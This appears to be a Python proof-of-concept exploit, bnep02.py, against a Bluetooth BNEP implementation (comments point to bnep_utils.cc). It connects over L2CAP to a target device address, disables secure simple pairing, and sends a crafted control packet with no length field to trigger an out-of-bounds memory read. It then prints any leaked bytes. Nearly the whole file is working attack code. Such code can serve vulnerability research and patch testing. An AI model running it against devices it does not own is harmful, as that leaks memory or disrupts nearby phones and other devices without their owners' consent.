57 lines
No EOL
1.5 KiB
Python
Executable file
57 lines
No EOL
1.5 KiB
Python
Executable file
import os
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import sys
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import struct
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import bluetooth
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BNEP_PSM = 15
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BNEP_FRAME_CONTROL = 0x01
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# Control types (parsed by bnep_process_control_packet() in bnep_utils.cc)
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BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01
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def oob_read(src_bdaddr, dst):
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bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
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bnep.settimeout(5)
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bnep.bind((src_bdaddr, 0))
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print 'Connecting to BNEP...'
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bnep.connect((dst, BNEP_PSM))
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bnep.settimeout(1)
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print "Triggering OOB read (you may need a debugger to verify that it's actually happening)..."
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# This crafted BNEP packet just contains the BNEP_FRAME_CONTROL frame type,
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# plus the BNEP_SETUP_CONNECTION_REQUEST_MSG control type.
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# It doesn't include the 'len' field, therefore it is read from out of bounds
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bnep.send(struct.pack('<BB', BNEP_FRAME_CONTROL, BNEP_SETUP_CONNECTION_REQUEST_MSG))
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try:
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data = bnep.recv(3)
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except bluetooth.btcommon.BluetoothError:
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data = ''
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if data:
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print '%r' % data
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else:
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print '[No data]'
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print 'Closing connection.'
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bnep.close()
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def main(src_hci, dst):
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os.system('hciconfig %s sspmode 0' % (src_hci,))
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os.system('hcitool dc %s' % (dst,))
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oob_read(src_hci, dst)
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if __name__ == '__main__':
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if len(sys.argv) < 3:
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print('Usage: python bnep02.py <src-bdaddr> <dst-bdaddr>')
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else:
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if os.getuid():
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print 'Error: This script must be run as root.'
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else:
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main(sys.argv[1], sys.argv[2]) |